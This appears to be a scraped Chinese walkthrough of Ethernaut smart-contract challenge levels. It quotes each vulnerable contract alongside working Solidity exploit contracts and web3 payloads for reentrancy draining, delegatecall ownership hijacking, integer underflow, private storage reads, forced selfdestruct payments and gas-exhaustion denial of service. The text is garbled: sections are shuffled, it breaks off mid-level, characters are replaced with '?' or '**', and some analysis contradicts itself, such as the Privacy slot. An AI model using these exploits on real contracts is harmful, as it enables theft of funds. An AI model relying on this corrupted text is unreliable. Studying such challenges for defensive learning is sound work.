達到這個有兩個方式,第一種方式是把原本題目合約扒下來,放到debug測試網(wǎng)絡(luò),第二攻擊合約與其交互,在debug中看下gasleft是多少第二調(diào)整算出需要的gasleft。但是不同編譯器版本編譯出的合約所耗費的gas并不相同,按照medium網(wǎng)站上說的方式到etherscan上查了下合約信息,由于沒有上傳源碼并不能得到題目合約的 編譯器版本,所以盡管我們在debug環(huán)境下算出了符合條件的gas,仍然不能保證會成功。

第二種方式就比較暴力,直接寫一個for循環(huán),每次的gas都從一個值遞增1,這樣一定會遇到一個符合條件的gas。

pragma solidity ^0.6.0;
import './SafeMath.sol';
interface IGatekeeperOne {
function enter(bytes8 _gateKey) external returns (bool);
}
?
contract GatekeeperOne {
address levelInstance;
?
constructor (address _levelInstance) public {
levelInstance = _levelInstance;
}
?
function open() public {
bytes8 key = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;
for(uint i = 0; i < 8191 ;i++)
{
// IGatekeeperOne(levelInstance).enter{gas: 114928}(key);
levelInstance.call{gas:114928 + i}(abi.encodeWithSignature("enter(bytes8)", key));
}
?
}
}magicnumber題目

要求使用總長度不超過10的bytecode編寫出一個合約,返回值為42.

代碼pragma solidity ^0.4.24;
?
contract MagicNum {
?
address public solver;
?
constructor() public {}
?
function setSolver(address _solver) public {
solver = _solver;
}
?
/*
____________/\_______/\\\\_____
__________/\\_____/\///////\___
________/\/\____///______//\__
______/\//\______________/\/___
____/\/__/\___________/\//_____
__/\\\\\\\\_____/\//________
_///////////\//____/\/___________
___________/\_____/\\\\\\\_
___________///_____///////////////__
*/
}分析

主要參考這個鏈接,說的也比較詳細:https://medium.com/coinmonks/ethernaut-lvl-19-magicnumber-walkthrough-how-to-deploy-contracts-using-raw-assembly-opcodes-c50edb0f71a2

值得注意的一點是合約代碼的長度是不會算構(gòu)造函數(shù)以及構(gòu)造合約的init函數(shù)的。

gatekeeper2題目

過三個檢查

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract GatekeeperTwo {
?
address public entrant;
?
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
?
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}
?
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) – 1);
_;
}
?
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}分析

這道題目需要在magicnumber之后做。

第一個check就是部署個合約即可。

第三個利用異或的性質(zhì),將key設(shè)置為addr ^ 0xffffffffffffff即可。

第二個check比較有意思,是利用了assembler,不過含義如字面意思。

caller()指的就是攻擊合約,extcodesize(caller())指的就是攻擊合約的代碼長度,需要使得其長度為0。

這里在之前的magicnumber提到過,合約代碼長度不會算進去構(gòu)造函數(shù)的長度,所以將攻擊函數(shù)直接寫進構(gòu)造函數(shù)即可。

pragma solidity ^0.8.0;
?
interface IGatekeeperTwo {
function enter(bytes8 _gateKey) external returns (bool);
}
?
contract GatekeeperTwo {
address levelInstance;

constructor(address _levelInstance) {
levelInstance = _levelInstance;
unchecked{
bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ uint64(0) – 1 );
IGatekeeperTwo(levelInstance).enter(key);
}
}
}

由于新版本的solidity都會內(nèi)置整數(shù)溢出檢查,所以在攻擊合約中uint64(0) – 1需要用uncheck修飾。

?

拓展知識:

前沿拓展:


Ethernaut記錄Fallback題目描述

Look carefully at the contract's code below.

You will beat this level if

you claim ownership of the contract

you reduce its balance to 0

Things that might help

How to send ether when interacting with an ABI

How to send ether outside of the ABI

Converting to and from wei/ether units (see help() command)

Fallback methods

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Fallback {
?
using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;
?
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
?
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
?
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
?
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
?
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
?
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}分析

題目的目標是成為這個合約的owner,并且將合約的balance清零。

在源代碼中可以看到,成為合約的owner就代表著需要將合約中的owner賦值為我們的address,有三種方式:

1.調(diào)用contribute函數(shù)

2.調(diào)用receive函數(shù)

這里需要說明一下,constructor函數(shù)是合約的構(gòu)造函數(shù),是合約在初始化的時候建立的,而sender這個全局變量代表的是當前和合約交互的用戶。所以說,contructor函數(shù)的sender不可能是除了創(chuàng)建者之外后續(xù)用戶。

如要調(diào)用contribute函數(shù),則需要向合約轉(zhuǎn)賬,轉(zhuǎn)入的eth大于1000才可以成為onwer,而且每次只能轉(zhuǎn)小于0.001eth,顯然不可行。

那么如果調(diào)用receive函數(shù),只需要轉(zhuǎn)賬大于0即可成為owner。那么這個receive函數(shù)怎么調(diào)用呢?

這個函數(shù)明顯長得就和正常的函數(shù)不一樣,沒有function修飾。

這里的話第一解釋一下什么是fallback

https://me.tryblockchain.org/blockchain-solidity-fallback.html

也就是說,直接向合約轉(zhuǎn)賬,使用address.send(ether to send)向某個合約直接轉(zhuǎn)帳時,由于這個行為沒有發(fā)送任何數(shù)據(jù),所以接收合約總是會調(diào)用fallback函數(shù)?;蛘弋斦{(diào)用函數(shù)找不到時就會調(diào)用fallback函數(shù)。

那么這個fallback和receive又有什么關(guān)系呢?在0.6以后的版本,fallback函數(shù)的寫法就不是這么寫了而是:

fallback() external {
}
receive() payable external {
currentBalance = currentBalance + msg.value;
}

fallback 和 receive 不是普通函數(shù),而是新的函數(shù)類型,有特別的含義,所以在它們前面加 function 這個關(guān)鍵字。加上 function 之后,它們就變成了一般的函數(shù),只能按一般函數(shù)來去調(diào)用。

每個合約最多有一個不帶任何參數(shù)不帶 function 關(guān)鍵字的 fallback 和 receive 函數(shù)。

receive 函數(shù)類型必須是 payable 的,并且里面的語句只有在通過外部地址往合約里轉(zhuǎn)賬的時候執(zhí)行。fallback 函數(shù)類型可以是 payable 也可以不是 payable 的,如果不是 payable 的,可以往合約發(fā)送非轉(zhuǎn)賬交易,如果交易里帶有轉(zhuǎn)賬信息,交易會被 revert;如果是 payable 的,自然也就可以接受轉(zhuǎn)賬了。

盡管 fallback 可以是 payable 的,但并不建議這么做,聲明為 payable 之后,其所消耗的 gas 最大量就會被限定在 2300。

也就是說,只要向合約轉(zhuǎn)賬,就會執(zhí)行receive函數(shù)。具體來說,就是調(diào)用contract.sendTransaction({value : 1})。

所以說,要成為owner要經(jīng)過以下兩個步驟:

1.調(diào)用contribute使contribution大于0

2.向合約轉(zhuǎn)賬,調(diào)用receive,成為owner。

成為owner后,還需要將合約的balance清零,這里需要調(diào)用withdraw函數(shù),也就是執(zhí)行這一句:

owner.transfer(address(this).balance);

this指針指向的是合約本身,這句話的意思就是合約向owner的地址轉(zhuǎn)帳合約所有的balance。

所以,最終的payload就是:

contract.contribute({value: 1})
contract.sendTransaction({value: 1})
contract.withdraw() Fallout題目描述

Level completed!

Difficulty 2/10

Claim ownership of the contract below to complete this level.

Things that might help

Solidity Remix IDE代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Fallout {

using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
?
?
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
?
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
?
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
?
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
?
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
?
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}分析

提示是用ide看,問題就是他這個構(gòu)造函數(shù)其實不是構(gòu)造函數(shù),F(xiàn)al1out,直接調(diào)用即可。

過關(guān)后,會出現(xiàn)這樣一段話:

That was silly wasn't it? Real world contracts must be much more secure than this and so must it be much harder to hack them right?

Well… Not quite.

The story of Rubixi is a very well known case in the Ethereum ecosystem. The company changed its name from 'Dynamic Pyramid' to 'Rubixi' but somehow they didn't rename the constructor method of its contract:

contract Rubixi {address private owner;function DynamicPyramid() { owner = msg.sender; }function collectAllFees() { owner.transfer(this.balance) }…

This allowed the attacker to call the old constructor and claim ownership of the contract, and steal some funds. Yep. Big mistakes can be made in **artcontractland.

coin flip題目

需要連續(xù)十次猜中硬幣翻轉(zhuǎn)結(jié)果,猜對了就可以過關(guān)。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract CoinFlip {
?
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
?
constructor() public {
consecutiveWins = 0;
}
?
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
?
if (lastHash == blockValue) {
revert();
}
?
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
?
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}分析

可以看到,每一次猜的值都要與blockhash/factor進行一個比對。這里,blocknumber指的是當前交易的區(qū)塊編號,并不是合約所處的區(qū)塊編號。由于一個塊內(nèi)交易數(shù)量很多,所以我們就可以通過布置一個合約,使其交易行為與驗證的交易打包在一個塊中,這樣blockhash的值就可以提前算出來,重復(fù)十次即可過關(guān)

exp:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
?
constructor() public {
consecutiveWins = 0;
}
?
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number-1));
?
if (lastHash == blockValue) {
revert();
}
?
lastHash = blockValue;
uint256 coinFlip = blockValue/FACTOR;
bool side = coinFlip == 1 ? true : false;
?
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
?
contract exploit {
CoinFlip expFlip;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
?
constructor (address aimAddr) public {
expFlip = CoinFlip(aimAddr);
}
?
function hack() public {
uint256 blockValue = uint256(blockhash(block.number-1));
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
bool guess = coinFlip == 1 ? true : false;
expFlip.flip(guess);
}
}telephone題目

需要成為合約的owner

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Telephone {
?
address public owner;
?
constructor() public {
owner = msg.sender;
}
?
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}分析

這里肯定是調(diào)用changeOwner,知識點就在于tx.origin和msg.sender之間的區(qū)別。

tx.origin (address):交易發(fā)送方(完整的調(diào)用鏈)msg.sender (address):消息的發(fā)送方(當前調(diào)用)

可以認為,origin為源ip地址,sender為上一跳地址。

所以思路就是部署一個合約A,我們調(diào)用這個合約A,而這個合約A調(diào)用題目合約,即可完成利用。

Exp:

pragma solidity ^0.6.0;
?
contract Telephone {
?
address public owner;
?
constructor() public {
owner = msg.sender;
}
?
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
contract exploit {
?
Telephone target = Telephone(0x298b8725eeff32B8aF708AFca5f46BF8305ad0ba);
?
function hack() public{
target.changeOwner(msg.sender);
}
}token題目

The goal of this level is for you to hack the basic token contract below.

You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Token {
?
mapping(address => uint) balances;
uint public totalSupply;
?
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
?
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] – _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
?
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}分析

uint整數(shù)溢出,不會小于0。

exp:

pragma solidity ^0.6.0;
?
?
interface IToken {
function transfer(address _to, uint256 _value) external returns (bool);
}
?
contract Token {
address levelInstance;
?
constructor(address _levelInstance) public {
levelInstance = _levelInstance;
}
?
function claim() public {
IToken(levelInstance).transfer(msg.sender, 999999999999999);
}
}delegation題目

成為合約的owner

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Delegate {
?
address public owner;
?
constructor(address _owner) public {
owner = _owner;
}
?
function pwn() public {
owner = msg.sender;
}
}
?
contract Delegation {
?
address public owner;
Delegate delegate;
?
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
?
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}分析

有兩個合約,第一個delegate里面有個pwn函數(shù),可以直接獲得owner。第二個合約delegation實例化了delegate,并且定義了fallback函數(shù),里面通過delegeatecall調(diào)用delegate合約中的函數(shù)。

我們經(jīng)常會使用call函數(shù)與合約進行交互,對合約發(fā)送數(shù)據(jù),當然,call是一個較底層的接口,我們經(jīng)常會把它封裝在其他函數(shù)里使用,不過性質(zhì)是差不多的,這里用到的delegatecall跟call主要的不同在于通過delegatecall調(diào)用的目標地址的代碼要在當前合約的環(huán)境中執(zhí)行,也就是說它的函數(shù)執(zhí)行在被調(diào)用合約部分其實只用到了它的代碼,所以這個函數(shù)主要是方便我們使用存在其他地方的函數(shù),也是模塊化代碼的一種方法,然而這也很容易遭到破壞。用于調(diào)用其他合約的call類的函數(shù),其中的區(qū)別如下:1、call 的外部調(diào)用上下文是外部合約2、delegatecall 的外部調(diào)用上下是調(diào)用合約上下文

也就是說,我們在delegation里通過delegatecall調(diào)用delegate中的pwn函數(shù),pwn函數(shù)運行的上下文其實是delegation的環(huán)境。也就是說,此時執(zhí)行pwn的話,owner其實是delegation的owner而不是delegate的owner。

抽象點理解,call就是正常的call,而delegatecall可以理解為inline函數(shù)調(diào)用。

在這里我們要做的就是使用delegatecall調(diào)用delegate合約的pwn函數(shù),這里就涉及到使用call指定調(diào)用函數(shù)的**作,當你給call傳入的第一個參數(shù)是四個字節(jié)時,那么合約就會默認這四個字節(jié)就是你要調(diào)用的函數(shù),它會把這四個字節(jié)當作函數(shù)的id來尋找調(diào)用函數(shù),而一個函數(shù)的id在以太坊的函數(shù)選擇器的生成規(guī)則里就是其函數(shù)簽名的sha3的前4個bytes,函數(shù)前面就是帶有括號括起來的參數(shù)類型列表的函數(shù)名稱。

contract.sendTransaction({data:web3.sha3("pwn()").slice(0,10)});force題目

令合約的余額大于0即可通關(guān)。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Force {/*
?
MEOW ?
/_/ /
____/ o o
/~____ =?= /
(______)__m_m)
?
*/}分析

沒有任何代碼的合約怎么接受eth?這里的話以太坊里我們是可以強制給一個合約發(fā)送eth的,不管它要不要它都得收下,這是通過selfdestruct函數(shù)來實現(xiàn)的,如它的名字所顯示的,這是一個自毀函數(shù),當你調(diào)用它的時候,它會使該合約無效化并刪除該地址的字節(jié)碼,第二它會把合約里剩余的資金發(fā)送給參數(shù)所指定的地址,比較特殊的是這筆資金的發(fā)送將無視合約的fallback函數(shù),因為我們之前也提到了當合約直接收到一筆不知如何處理的eth時會觸發(fā)fallback函數(shù),然而selfdestruct的發(fā)送將無視這一點。

所以思路就是搞一個合約出來,第二自毀,強制給題目合約eth。

contract Force {
address payable levelInstance;
?
constructor (address payable _levelInstance) public {
levelInstance = _levelInstance;
}
?
function give() public payable {
selfdestruct(levelInstance);
}
}vault題目

使得locked == false

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Vault {
bool public locked;
bytes32 private password;
?
constructor(bytes32 _password) public {
locked = true;
password = _password;
}
?
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}分析

主要就是猜密碼,看起來密碼被private保護,不能被訪問到,但是其實區(qū)塊鏈上所有東西都是透明的,只要我們知道它存儲的地方,就能訪問到查詢到。

使用web3的storageat函數(shù)即可查詢到特**置的數(shù)據(jù)信息。

web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))});king題目

合同代表一個非常簡單的游戲:誰給它發(fā)送了比當前獎金還大的數(shù)量的以太,就成為新的國王。在這樣的**中,被推翻的國王獲得了新的獎金,但是如果你提交的話那么合約就會回退,讓level重新成為國王,而我們的目標就是阻止這一情況的發(fā)生。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract King {
?
address payable king;
uint public prize;
address payable public owner;
?
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
?
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
?
function _king() public view returns (address payable) {
return king;
}
}分析

主要看receive函數(shù),邏輯是先轉(zhuǎn)賬第二再更新king和prize,所以說,如果我們使得程序斷在接受上,即可使得king不被更新。

所以代碼是這樣:

pragma solidity ^0.6.0;
?
contract attack{
constructor(address _addr) public payable{
_addr.call{value : msg.value}("");
}
receive() external payable{
revert();
}
}

接受函數(shù)邏輯就是直接revert,這樣攻擊合約只要發(fā)生了轉(zhuǎn)賬,就會中止執(zhí)行,這樣transfer就不會成功,king也就不會更新。

reentrancy題目

盜取合約中所有余額

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;
?
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
?
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
?
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
?
receive() external payable {}
}分析

這個題目是很著名的re-entrance攻擊,也就是重入攻擊。漏洞點在于withdraw函數(shù)。可以看到他是先調(diào)用了msg.sender.call{value:_amount}("");第二再在balance里面將存儲的余額減去amount。這里就是可重入攻擊的關(guān)鍵所在了,因為該函數(shù)在發(fā)送ether后才更新余額,所以我們可以想辦法讓它卡在call.value這里不斷給我們發(fā)送ether,因為call的參數(shù)是空,所以會調(diào)用攻擊合約的fallback函數(shù),我們在fallback函數(shù)里面再次調(diào)用withdraw,這樣套娃,就能將合約里面的錢都偷出來。

pragma solidity ^0.8.0;
?
interface IReentrance {
function withdraw(uint256 _amount) external;
}
?
contract Reentrance {
address levelInstance;
?
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
?
function claim(uint256 _amount) public {
IReentrance(levelInstance).withdraw(_amount);
}
?
fallback() external payable {
IReentrance(levelInstance).withdraw(msg.value);
}
}elevator題目

另top==true

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
interface Building {
function isLastFloor(uint) external returns (bool);
}
?
?
contract Elevator {
bool public top;
uint public floor;
?
function goTo(uint _floor) public {
Building building = Building(msg.sender);
?
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}分析

合約并沒有實現(xiàn)building,需要我們自己定義。從程序的分析來看,top不可能為true。所以我們需要在實現(xiàn)building的時候搞點事情,也就是第一次搞成false,第二次調(diào)用搞成true就好。

pragma solidity ^0.8.0;
?
interface IElevator {
function goTo(uint256 _floor) external;
}
?
contract Elevator {
address levelInstance;
bool side = true;
?
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
?
function isLastFloor(uint256) external returns (bool) {
side = !side;
return side;
}
?
function go() public {
IElevator(levelInstance).goTo(1);
}
}privacy題目

將locked成為false

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Privacy {
?
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
?
constructor(bytes32[3] memory _data) public {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
?
/*
A bunch of super a**anced solidity algorithms…
?
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,—/V
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}分析

和那個vault一樣,只不過這次的data需要確**置。

根據(jù)32bytes一格的標準,劃分如下

//slot 0
bool public locked = true;
//slot 1
uint256 public constant ID = block.timestamp;
//slot 2
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);//2 字節(jié)
//slot 3-5
bytes32[3] private data;

所以最終的data[2]就在slot5

所以最終查詢:

web3.eth.getStorageAt(instance,3,function(x,y){console.info(y);})naughty coin題目

NaughtCoin是一個ERC20代幣,你已經(jīng)擁有了所有的代幣。但是你只能在10年的后才能將他們轉(zhuǎn)移。你需要想出辦法把它們送到另一個地址,這樣你就可以把它們自由地轉(zhuǎn)移嗎,讓后通過將token余額置為0來完成此級別。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
?
contract NaughtCoin is ERC20 {
?
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = now + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
?
constructor(address _player)
ERC20('NaughtCoin', '0x0')
public {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}
?
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}分析

代碼重載了EC20類,但是沒有完全重載完,所以說可以直接調(diào)用ec20里面的函數(shù)進行轉(zhuǎn)賬。

contract.approve(player,toWei("1000000"))
contract.transferFrom(player,contract.address,toWei("1000000"))preservation題目

成為owner

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Preservation {
?
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
?
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
?
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
?
// Simple library contract to set the time
contract LibraryContract {
?
// stores a timestamp
uint storedTime;
?
function setTime(uint _time) public {
storedTime = _time;
}
}分析

漏洞點還是在delegatecall上,由于不會改變上下文,所以說settime函數(shù)中,將storedtime賦值為time,如果delegatecall調(diào)用,其實是把slot1中的數(shù)據(jù)賦值為time。

所以說第一次setfirsttime將timezone1改掉,改成我們攻擊合約地址,這樣就可以調(diào)用魔改的settime函數(shù)。,第二就可以把owner改掉了。

攻擊合約代碼:

pragma solidity ^0.8.0;
?
contract Preservation {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
?
function setTime(uint256 player) public {
owner = address(uint160(player));
}
}

攻擊流程:

contract.setFirstTime(攻擊合約地址)
contract.setFirstTime(player)recovery題目

合約的創(chuàng)建者已經(jīng)構(gòu)建了一個非常簡單的合約示例。任何人都可以輕松地創(chuàng)建新的代幣。部署第一個令牌合約后,創(chuàng)建者發(fā)送了0.5ether以獲取更多token。后來他們失去了合同地址。目的是從丟失的合同地址中恢復(fù)(或移除)0.5ether。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Recovery {
?
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);

}
}
?
contract SimpleToken {
?
using SafeMath for uint256;
// public variables
string public name;
mapping (address => uint) public balances;
?
// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}
?
// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value.mul(10);
}
?
// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}
?
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}分析

主要的難點就是找不到合約的地址,不過所有交易都是透明的,可以直接在etherscan上查到交易,或者直接在metamask錢包里面查看交易就能獲得合約的地址。找到合約地址后調(diào)用destroy函數(shù)就行。

pragma solidity ^0.8.0;
?
interface ISimpleToken {
function destroy(address payable _to) external;
}
?
contract SimpleToken {
address levelInstance;
?
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
?
function withdraw() public {
ISimpleToken(levelInstance).destroy(payable(msg.sender));
}
}Alien Codex題目

成為owner

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
?
import '../helpers/Ownable-05.sol';
?
contract AlienCodex is Ownable {
?
bool public contact;
bytes32[] public codex;
?
modifier contacted() {
assert(contact);
_;
}

function make_contact() public {
contact = true;
}
?
function record(bytes32 _content) contacted public {
codex.push(_content);
}
?
function retract() contacted public {
codex.length–;
}
?
function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}分析

合約引入了ownable,這樣合約中就多了個owner變量,這個變量經(jīng)過查詢是在slot 0中。

win10 mul

前十六個字節(jié)是contact

win10 mul

win10 mul

可以看到調(diào)用完makecontact就變成1了。

在這個合約里面,可以指定下標元素賦值,且沒有檢查。所以說我們只需要計算出codex數(shù)組和slot0的距離即可改變owner。

codex是一個32bytes的數(shù)組,在slot1中存儲著他的長度。我們要計算出一個元素的下標,如果下標溢出,則會存儲到slot0中。

在Solidity中動態(tài)數(shù)組內(nèi)變量的存儲位計算方法可以概括為:b[X] == SLOAD(keccak256(slot) + X),在這個合約中,開頭的slot為1,也就是他的長度。(換句話說,數(shù)組中某個元素的slot = keccak(slot數(shù)組)+ index)

因此第一個元素位于slot keccak256(1) + 0,第二個元素位于slot keccak256(1) + 1,以此類推。

所以我們要計算的下標就是令2^256 = keccak256(slot) + index,即index = 2^256 – keccak256(slot)

攻擊代碼:

pragma solidity ^0.8.0;
?
interface IAlienCodex {
function revise(uint i, bytes32 _content) external;
}
?
contract AlienCodex {
address levelInstance;

constructor(address _levelInstance) {
levelInstance = _levelInstance;
}

function claim() public {
unchecked{
uint index = uint256(2)**uint256(256) – uint256(keccak256(abi.encodePacked(uint256(1))));
IAlienCodex(levelInstance).revise(index, bytes32(uint256(uint160(msg.sender))));
}
}
?
}denial題目

阻止其他人從合約中withdraw。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Denial {
?
using SafeMath for uint256;
address public partner; // withdrawal partner – pay the gas, split the withdraw
address payable public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
?
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
?
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}
?
// allow deposit of funds
receive() external payable {}
?
// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}分析

其實看到了call函數(shù)形式的轉(zhuǎn)賬就猜到差不多了,就是fallback函數(shù)的利用。在fallback函數(shù)中遞歸的調(diào)用wiithdraw函數(shù),這樣直到gas用光,就達到目的了。

pragma solidity ^0.8.0;
?
interface IDenial {
function withdraw() external;
function setWithdrawPartner(address _partner) external;
}
?
contract Denial {
address levelInstance;
?
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
?
fallback() external payable {
IDenial(levelInstance).withdraw();
}
?
function set() public {
IDenial(levelInstance).setWithdrawPartner(address(this));
}
}gatekeeper1題目

pass三個check

代碼// SPDX-License-Identifier: MIT
